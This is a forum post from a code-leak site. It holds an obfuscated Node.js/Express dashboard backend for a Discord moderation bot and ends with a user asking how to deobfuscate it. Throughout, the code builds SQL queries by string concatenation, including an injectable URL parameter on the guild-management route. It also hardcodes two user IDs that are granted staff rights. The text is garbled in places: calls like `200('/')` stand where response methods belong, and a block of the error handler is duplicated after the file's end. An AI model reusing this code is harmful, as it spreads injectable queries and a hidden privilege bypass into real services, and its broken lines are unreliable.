                        isUserBanned: _0x5b6d56,
                        isOwner: _0x13cad0,
                        userBans: _0x526bc7,
                        isDev: dev,
                      })
                    }
                  )
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/report', checkAuth, async function (_0x2b9de8, _0x22ba2f) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x2e970c, _0xac0246) {
      let _0x1debe3
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2b9de8.session.passport.user.id +
          '"',
        async function (_0x24395c, _0xe732fa) {
          if (_0x24395c) {
            throw _0x24395c
          }
          if (!_0xe732fa[0]) {
            _0x1debe3 = false
            if (
              config.bot.owners.includes(_0x2b9de8.session.passport.user.id)
            ) {
              _0x1debe3 = true
            }
          } else {
            _0x1debe3 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x136b14, _0x5569f5) {
              if (_0x136b14) {
                throw _0x136b14
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x2b9de8.session.passport.user.id +
                  '"',
                async function (_0x15a125, _0x2732ed) {
                  let _0x500fe9
                  if (_0x15a125) {
                    throw _0x15a125
                  }
                  if (!_0x2732ed[0]) {
                    _0x500fe9 = 'False'
                  } else {
                    if (_0x2732ed[0].active == 1) {
                      _0x500fe9 = 'True'
                    } else {
                      _0x500fe9 = 'False'
                    }
                  }
                  let _0x2786f2
                  if (
                    config.bot.owners.includes(
                      _0x2b9de8.session.passport.user.id
                    )
                  ) {
                    _0x2786f2 = true
                  } else {
                    _0x2786f2 = false
                  }
                  if (_0x2b9de8.isAuthenticated()) {
                    if (
                      _0x2b9de8.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2b9de8.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x1debe3 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x22ba2f.render('report.ejs', {
                    user: _0x2b9de8.session.passport.user,
                    loggedIn: _0x2b9de8.isAuthenticated(),
                    siteInfo: _0xac0246[0],
                    isStaff: _0x1debe3,
                    buttons: _0x5569f5,
                    isUserBanned: _0x500fe9,
                    isOwner: _0x2786f2,
                    userBans: _0x2732ed,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/appeal', checkAuth, async function (_0xe81f44, _0x1e80bd) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x12ad2b, _0x563051) {
      let _0x5024b4
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0xe81f44.session.passport.user.id +
          '"',
        async function (_0x5c1789, _0x409c12) {
          if (_0x5c1789) {
            throw _0x5c1789
          }
          if (!_0x409c12[0]) {
            _0x5024b4 = false
            if (
              config.bot.owners.includes(_0xe81f44.session.passport.user.id)
            ) {
              _0x5024b4 = true
            }
          } else {
            _0x5024b4 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x6635a4, _0x13fb85) {
              if (_0x6635a4) {
                throw _0x6635a4
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0xe81f44.session.passport.user.id +
                  '"',
                async function (_0x17e315, _0x1e91ca) {
                  let _0xff8985
                  if (_0x17e315) {
                    throw _0x17e315
                  }
                  if (!_0x1e91ca[0]) {
                    _0xff8985 = false
                  } else {
                    if (_0x1e91ca[0].active === 'true') {
                      _0xff8985 = true
                    } else {
                      if (_0x1e91ca[0].active === 'false') {
                        _0xff8985 = false
                      }
                    }
                  }
                  let _0x29d8a7
                  if (
                    config.bot.owners.includes(
                      _0xe81f44.session.passport.user.id
                    )
                  ) {
                    _0x29d8a7 = true
                  } else {
                    _0x29d8a7 = false
                  }
                  if (_0xe81f44.isAuthenticated()) {
                    if (
                      _0xe81f44.session.passport.user.id ===
                        '539975000799838249' ||
                      _0xe81f44.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x5024b4 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x1e80bd.render('appeal.ejs', {
                    user: _0xe81f44.session.passport.user,
                    loggedIn: _0xe81f44.isAuthenticated(),
                    siteInfo: _0x563051[0],
                    isStaff: _0x5024b4,
                    buttons: _0x13fb85,
                    isUserBanned: _0xff8985,
                    isOwner: _0x29d8a7,
                    userBans: _0x1e91ca,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/search', checkAuth, async function (_0x2a2c14, _0x4a932d) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x1cefb2, _0x38296d) {
      let _0x253d95
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2a2c14.session.passport.user.id +
          '"',
        async function (_0x4d9c54, _0x52403e) {
          if (_0x4d9c54) {
            throw _0x4d9c54
          }
          if (!_0x52403e[0]) {
            _0x253d95 = false
            if (
              config.bot.owners.includes(_0x2a2c14.session.passport.user.id)
            ) {
              _0x253d95 = true
            }
          } else {
            _0x253d95 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x2790bf, _0x152a1b) {
              if (_0x2790bf) {
                throw _0x2790bf
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0x2a2c14.session.passport.user.id +
                  '"',
                async function (_0x27ef14, _0x2c15d) {
                  let _0x2a30ce
                  if (_0x27ef14) {
                    throw _0x27ef14
                  }
                  if (!_0x2c15d[0]) {
                    _0x2a30ce = false
                  } else {
                    if (_0x2c15d[0].active === '1') {
                      _0x2a30ce = true
                    } else {
                      if (_0x2c15d[0].active === 'no') {
                        _0x2a30ce = false
                      }
                    }
                  }
                  let _0x52c282
                  if (
                    config.bot.owners.includes(
                      _0x2a2c14.session.passport.user.id
                    )
                  ) {
                    _0x52c282 = true
                  } else {
                    _0x52c282 = false
                  }
                  if (_0x2a2c14.isAuthenticated()) {
                    if (
                      _0x2a2c14.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2a2c14.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x253d95 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x4a932d.render('search.ejs', {
                    user: _0x2a2c14.session.passport.user,
                    loggedIn: _0x2a2c14.isAuthenticated(),
                    siteInfo: _0x38296d[0],
                    isStaff: _0x253d95,
                    buttons: _0x152a1b,
                    isUserBanned: _0x2a30ce,
                    isOwner: _0x52c282,
                    userBans: _0x2c15d,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/dashboard', checkAuth, async function (_0x35b240, _0x5e821e) {
  let _0x3930a7 = []
  let _0x32627e = []
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x3698eb, _0xb41321) {
      let _0x311e91
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x35b240.session.passport.user.id +
          '"',
        async function (_0x1441ac, _0x33efad) {
          if (_0x1441ac) {
            throw _0x1441ac
          }
          if (!_0x33efad[0]) {
            _0x311e91 = false
            if (
              config.bot.owners.includes(_0x35b240.session.passport.user.id)
            ) {
              _0x311e91 = true
            }
          } else {
            _0x311e91 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x480c6a, _0x3ec433) {
              if (_0x480c6a) {
                throw _0x480c6a
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x35b240.session.passport.user.id +
                  '"',
                async function (_0x53d5bd, _0x5ea7bb) {
                  let _0x37d39b
                  if (_0x53d5bd) {
                    throw _0x53d5bd
                  }
                  if (!_0x5ea7bb[0]) {
                    _0x37d39b = 'False'
                  } else {
                    if (_0x5ea7bb[0].active == 1) {
                      _0x37d39b = 'True'
                    } else {
                      _0x37d39b = 'False'
                    }
                  }
                  let _0x59edf5
                  if (
                    config.bot.owners.includes(
                      _0x35b240.session.passport.user.id
                    )
                  ) {
                    _0x59edf5 = true
                  } else {
                    _0x59edf5 = false
                  }
                  if (_0x35b240.isAuthenticated()) {
                    if (
                      _0x35b240.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x35b240.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x311e91 = true
                    } else {
                      dev = false
                    }
                  }
                  await _0x35b240.session.passport.user.guilds.forEach(
                    async function (_0x4224d7) {
                      if (_0x4224d7.owner) {
                        let _0x48f032 = await client.guilds.cache.get(
                          _0x4224d7.id
                        )
                        if (!_0x48f032) {
                          let _0x4ce1e9 = {
                            button: 'Invite Me',
                            style: 'guild-invite',
                            imgstyle: 'imgguildstyle-invite',
                            btn: 'btn-red',
                            target: '_blank',
                            link:
                              'https://discord.com/api/oauth2/authorize?client_id=' +
                              client.user.id +
                              '&permissions=8&scope=bot%20applications.commands',
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x4ce1e9)
                        } else {
                          let _0x23e9b3 = {
                            button: 'Manage Guild',
                            style: 'guild-manage',
                            imgstyle: 'imgguildstyle-manage',
                            btn: 'btn-success',
                            target: '',
                            link: '/dashboard/manage/' + _0x4224d7.id,
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x23e9b3)
                        }
                      }
                    }
                  )
                  _0x5e821e.render('dashboard.ejs', {
                    user: _0x35b240.session.passport.user,
                    loggedIn: _0x35b240.isAuthenticated(),
                    siteInfo: _0xb41321[0],
                    isStaff: _0x311e91,
                    buttons: _0x3ec433,
                    isUserBanned: _0x37d39b,
                    isOwner: _0x59edf5,
                    userBans: _0x5ea7bb,
                    isDev: dev,
                    bot: client,
                    guilds: _0x32627e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get(
  '/dashboard/manage/:id',
  checkAuth,
  async function (_0x505a6a, _0x16173d) {
    client.con.query(
      'SELECT * FROM siteSettings WHERE id="1"',
      async function (_0x1f84e7, _0x4080df) {
        let _0x4aa4b2
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x505a6a.session.passport.user.id +
            '"',
          async function (_0x3b3727, _0x3ef541) {
            if (_0x3b3727) {
              throw _0x3b3727
            }
            if (!_0x3ef541[0]) {
              _0x4aa4b2 = false
              if (
                config.bot.owners.includes(_0x505a6a.session.passport.user.id)
              ) {
                _0x4aa4b2 = true
              }
            } else {
              _0x4aa4b2 = true
            }
            let _0x32dcf0 = _0x505a6a.params.id
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0x48462d, _0x348184) {
                if (_0x48462d) {
                  throw _0x48462d
                }
                client.con.query(
                  'SELECT * FROM bans WHERE bannedUserId = "' +
                    _0x505a6a.session.passport.user.id +
                    '"',
                  async function (_0x58a10f, _0x23c925) {
                    let _0x374a6c
                    if (_0x58a10f) {
                      throw _0x58a10f
                    }
                    if (!_0x23c925[0]) {
                      _0x374a6c = 'False'
                    } else {
                      if (_0x23c925[0].active == 1) {
                        _0x374a6c = 'True'
                      } else {
                        _0x374a6c = 'False'
                      }
                    }
                    let _0x1e5bd1
                    if (
                      config.bot.owners.includes(
                        _0x505a6a.session.passport.user.id
                      )
                    ) {
                      _0x1e5bd1 = true
                    } else {
                      _0x1e5bd1 = false
                    }
                    if (_0x505a6a.isAuthenticated()) {
                      if (
                        _0x505a6a.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x505a6a.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x4aa4b2 = true
                      } else {
                        dev = false
                      }
                    }
                    let _0x3bbc84 = client.guilds.cache.get(_0x505a6a.params.id)
                    client.con.query(
                      'SELECT * FROM guildsettings WHERE guildid = "' +
                        _0x505a6a.params.id +
                        '"',
                      async function (_0xc66c52, _0x15d986) {
                        if (_0xc66c52) {
                          throw _0xc66c52
                        }
                        if (!_0x15d986[0]) {
                          client.con.query(
                            'INSERT INTO guildsettings (guildid, autobans) VALUES ("' +
                              _0x505a6a.params.id +
                              '", "1")',
                            async function (_0x3dc44a) {
                              if (_0x3dc44a) {
                                throw _0x3dc44a
                              }
                            }
                          )
                        }
                        client.con.query(
                          'SELECT * FROM guildsettings WHERE guildid = "' +
                            _0x505a6a.params.id +
                            '"',
                          async function (_0x1fe5c7, _0x207619) {
                            if (_0x1fe5c7) {
                              throw _0x1fe5c7
                            }
                            _0x16173d.render('manageGuild.ejs', {
                              user: _0x505a6a.session.passport.user,
                              loggedIn: _0x505a6a.isAuthenticated(),
                              siteInfo: _0x4080df[0],
                              isStaff: _0x4aa4b2,
                              buttons: _0x348184,
                              isUserBanned: _0x374a6c,
                              isOwner: _0x1e5bd1,
                              userBans: _0x23c925,
                              isDev: dev,
                              guild: _0x3bbc84,
                              guildSettings: _0x207619[0],
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          }
        )
      }
    )
  }
)
app.get('/staff', checkAuth, async function (_0x517470, _0x2d8265) {
  let _0x297c9e
  let _0x278702
  let _0x3df55c
  let _0x9e914f = []
  let _0x5c7813 = []
  let _0x42b988 = []
  client.con.query(
    'SELECT * FROM staff WHERE staffid="' +
      _0x517470.session.passport.user.id +
      '"',
    async function (_0x38a10a, _0x3ac4a8) {
      if (_0x38a10a) {
        throw _0x38a10a
      }
      if (!_0x3ac4a8[0]) {
        _0x297c9e = false
        if (config.bot.owners.includes(_0x517470.session.passport.user.id)) {
          _0x297c9e = true
        }
      } else {
        _0x297c9e = true
      }
      client.con.query(
        'SELECT * FROM siteSettings WHERE id="1"',
        async function (_0x5aad16, _0x391e6f) {
          if (_0x297c9e) {
            if (
              config.bot.owners.includes(_0x517470.session.passport.user.id)
            ) {
              _0x278702 = true
            } else {
              _0x278702 = false
            }
            if (_0x517470?.query?.page) {
              _0x3df55c = '/' + _0x517470.query.page
            } else {
              _0x3df55c = 'none'
            }
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0xaea17d, _0x49ab9e) {
                if (_0xaea17d) {
                  throw _0xaea17d
                }
                await client.con.query(
                  'SELECT * FROM staff',
                  async function (_0x54471c, _0x14cf16) {
                    if (_0x54471c) {
                      throw _0x54471c
                    }
                    await _0x14cf16.forEach(async function (_0x786f5) {
                      let _0x53eaf6 = Number(_0x786f5.staffid)
                      if (!isNaN(_0x53eaf6)) {
                        let _0x216590 = await client.users.fetch(
                          _0x786f5.staffid
                        )
                        let _0x52b721 = await client.users.fetch(
                          _0x786f5.userid
                        )
                        await _0x9e914f.push({
                          staffid: _0x786f5.staffid,
                          stafftag: _0x216590.tag,
                          userid: _0x786f5.userid,
                          usertag: _0x52b721.tag,
                        })
                      } else {
                        await client.con.query(
                          'DELETE FROM staff WHERE staffid="' +
                            _0x786f5.staffid +
                            '" LIMIT 1',
                          async function (_0x229fef, _0x14dcf3) {
                            if (_0x229fef) {
                              throw _0x229fef
                            }
                          }
                        )
                      }
                    })
                    await client.guilds.cache.forEach(async function (
                      _0x349f9e
                    ) {
                      const _0x213d08 = await client.users
                        .fetch(_0x349f9e.ownerId)
                        .catch((_0x413d6c) => {})
                      let _0x4e9fb2 = moment(_0x349f9e.createdAt)
                      let _0xf07208 =
                        _0x4e9fb2.format('DD/MM/YYYY') +
                        '( ' +
                        _0x4e9fb2.fromNow() +
                        ' )'
                      _0x5c7813.push({
                        guildId: _0x349f9e.id,
                        guildName: _0x349f9e.name,
                        ownerId: _0x213d08.id,
                        ownerTag: _0x213d08.tag,
                        guildIcon:
                          'https://cdn.discordapp.com/icons/' +
                          _0x349f9e.id +
                          '/' +
                          _0x349f9e.icon,
                        guildCreated: _0x349f9e.createdAt,
                        guildMembers: _0xf07208,
                      })
                    })
                    if (_0x517470.isAuthenticated()) {
                      if (
                        _0x517470.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x517470.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x297c9e = true
                      } else {
                        dev = false
                      }
                    }
                    if (!_0x297c9e) {
                      200('/')
                    }
                    client.con.query(
                      'SELECT * FROM users',
                      async function (_0x28cae2, _0x234757) {
                        if (_0x28cae2) {
                          throw _0x28cae2
                        }
                        client.con.query(
                          'SELECT * FROM bans',
                          async function (_0x211478, _0x46ac17) {
                            if (_0x211478) {
                              throw _0x211478
                            }
                            await _0x46ac17.forEach(async (_0x123375) => {
                              await _0x42b988.push({
                                userid: _0x123375.bannedUserId,
                                userTag: _0x123375.bannedUserTag,
                                staffid: _0x123375.staffMemberId,
                                staffTag: _0x123375.staffMemberTag,
                                reason: _0x123375.reason,
                                prrof: _0x123375.proof,
                                banId: _0x123375.banId,
                                time: _0x123375.dateTime,
                                active: _0x123375.active,
                                id: _0x123375.banId,
                              })
                            })
                            _0x2d8265.statusCode = 200
                            200('Content-Type', 'text/html')
                            200('staffhome.ejs', {
                              userCon: _0x234757,
                              bot: client,
                              user: _0x517470.session.passport.user,
                              loggedIn: _0x517470.isAuthenticated(),
                              config: config,
                              siteInfo: _0x391e6f[0],
                              isStaff: _0x297c9e,
                              isOwner: _0x278702,
                              page: _0x3df55c,
                              buttons: _0x49ab9e,
                              staff: _0x9e914f,
                              guilds: _0x5c7813,
                              bans: _0x42b988,
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          } else {
            200('/')
          }
        }
      )
    }
  )
})
app.get('/error', checkAuth, async function (_0x1005d7, _0x3a3e5f) {
  var _0x4ea81e = _0x1005d7.query.err || 'An error occured, go back.'
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x588892, _0x8bcd44) {
      let _0x43ff90
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x1005d7.session.passport.user.id +
          '"',
        async function (_0x199c9c, _0x2cfedf) {
          if (_0x199c9c) {
            throw _0x199c9c
          }
          if (!_0x2cfedf[0]) {
            _0x43ff90 = false
            if (
              config.bot.owners.includes(_0x1005d7.session.passport.user.id)
            ) {
              _0x43ff90 = true
            }
          } else {
            _0x43ff90 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0xe23a1e, _0x1aec5c) {
              if (_0xe23a1e) {
                throw _0xe23a1e
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x1005d7.session.passport.user.id +
                  '"',
                async function (_0x34b7fb, _0x403035) {
                  let _0x1c0735
                  if (_0x34b7fb) {
                    throw _0x34b7fb
                  }
                  if (!_0x403035[0]) {
                    _0x1c0735 = 'False'
                  } else {
                    if (_0x403035[0].active == 1) {
                      _0x1c0735 = 'True'
                    } else {
                      _0x1c0735 = 'False'
                    }
                  }
                  let _0x202df8
                  if (
                    config.bot.owners.includes(
                      _0x1005d7.session.passport.user.id
                    )
                  ) {
                    _0x202df8 = true
                  } else {
                    _0x202df8 = false
                  }
                  if (_0x1005d7.isAuthenticated()) {
                    if (
                      _0x1005d7.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x1005d7.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x43ff90 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x3a3e5f.render('error.ejs', {
                    user: _0x1005d7.session.passport.user,
                    loggedIn: _0x1005d7.isAuthenticated(),
                    siteInfo: _0x8bcd44[0],
                    isStaff: _0x43ff90,
                    buttons: _0x1aec5c,
                    isUserBanned: _0x1c0735,
                    isOwner: _0x202df8,
                    userBans: _0x403035,
                    isDev: dev,
                    bot: client,
                    error: _0x4ea81e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/discorduserdata', checkAuth, async function (_0x55d5a1, _0xc16733) {
  _0xc16733
    .type('json')
    .send(JSON.stringify(_0x55d5a1.session.passport.user, null, 4) + '\n')
})
app.get('/auth/discord', passport.authenticate('discord'))
app.get(
  '/auth/discord/callback',
  passport.authenticate('discord', { failureRedirect: '/' }),
  async function (_0x1f1fdb, _0x58287c) {
    client.con.query(
      "SELECT * FROM users WHERE userId = '" +
        _0x1f1fdb.session.passport.user.id +
        "'",
      (_0x307254, _0x448d34) => {
        if (_0x448d34[0]) {
        } else {
          let _0x182920 = _0x1f1fdb.session.passport.user.username
            .replaceAll('"', ' ')
            .replaceAll('`', ' ')
          client.con.query(
            "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('" +
              _0x1f1fdb.session.passport.user.id +
              "', '" +
              _0x182920 +
              "', '" +
              _0x1f1fdb.session.passport.user.tag +
              "', '" +
              _0x1f1fdb.session.passport.user.email +
              "')",
            function (_0x5bda17, _0x39393c) {
              if (_0x5bda17) {
                console.log(_0x5bda17)
              }
            }
          )
        }
      }
    )
    if (_0x1f1fdb.session?.loginRef) {
      _0x58287c.redirect(_0x1f1fdb.session.loginRef)
    } else {
      _0x58287c.redirect('/')
    }
    delete _0x1f1fdb.session?.loginRef
    client.users.fetch(_0x1f1fdb.session.passport.user.id).then((_0x16f282) => {
      moment.locale('en')
      let _0x51c5ed = new MessageActionRow().addComponents(
        new MessageButton()
          .setLabel('User Account')
          .setStyle('LINK')
          .setURL(
            (config.app.domain.endsWith('/')
              ? config.app.domain.slice(0, -1)
              : config.app.domain) +
              '/account/' +
              _0x16f282.id
          )
      )
      let _0xba4690 = new MessageEmbed()
        .setTitle('User Logged In')
        .setDescription(
          '**User:** ' +
            _0x16f282 +
            ' ' +
            _0x16f282.tag +
            ' (`' +
            _0x16f282.id +
            '`)\n**Time:** <t:' +
            moment().unix() +
            ':R> | ' +
            moment().format('LLLL')
        )
        .setThumbnail(_0x16f282.displayAvatarURL({ dynamic: true }))
        .setFooter({
          text: '' + client.user.username,
          iconURL: client.user.displayAvatarURL({ dynamic: true }),
        })
      const _0x5b3287 = client.channels.cache.get(config.info.siteLogs)
      _0x5b3287.send({
        embeds: [_0xba4690],
        components: [_0x51c5ed],
      })
    })
  }
)
app.get('*', function (_0x5282a9, _0x196a96) {
  _0x196a96.render('404.ejs')
})
app.listen(config.app.port)
process.report.reportOnFatalError = true
process.on('unhandledRejection', async (_0x364272) => {
  if (_0x364272.toString().includes('EADDRINUSE')) {
    return
  }
  const _0x13f4b9 = Date.now()
  console.log(_0x364272)
  let _0x29a4f3 = ['[ERR_HTTP_HEADERS_SENT]']
  let _0x1a7a3f = true
  _0x29a4f3.forEach(function (_0x46703a) {
    if (_0x364272.toString().includes(_0x46703a)) {
      _0x1a7a3f = false
    }
  })
  if (!_0x1a7a3f) {
    return
  }
  if (_0x364272.code === 'ER_NO_SUCH_TABLE') {
    return
  }
  const _0x501c8b = new formData()
  _0x501c8b.append('title', '[A] ' + _0x364272)
  _0x501c8b.append('description', '```\n' + _0x364272.stack + '```')
  _0x501c8b.append('category', 'Automatic')
  _0x501c8b.append('versions', '2.0.6')
  _0x501c8b.append('links', '' + config.app.domain)
})
client.login(config.bot.token).catch((_0x314d88) => {
  console.log(_0x314d88.message)
})
{
    return
  }
  if (_0x364272.code === 'ER_NO_SUCH_TABLE') {
    return
  }
  const _0x501c8b = new formData()
  _0x501c8b.append('title', '[A] ' + _0x364272)
  _0x501c8b.append('description', '```\n' + _0x364272.stack + '```')
  _0x501c8b.append('category', 'Automatic')
  _0x501c8b.append('versions', '2.0.6')
  _0x501c8b.append('links', '' + config.app.domain)
})
client.login(config.bot.token).catch((_0x314d88) => {
  console.log(_0x314d88.message)
})

how do you deobfuscate scripts?

 

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.


×
×
  • Create New...

Important Information

By continuing on Launcherleaks.net, you agree to our Terms of Use, Guidelines & Privacy Policy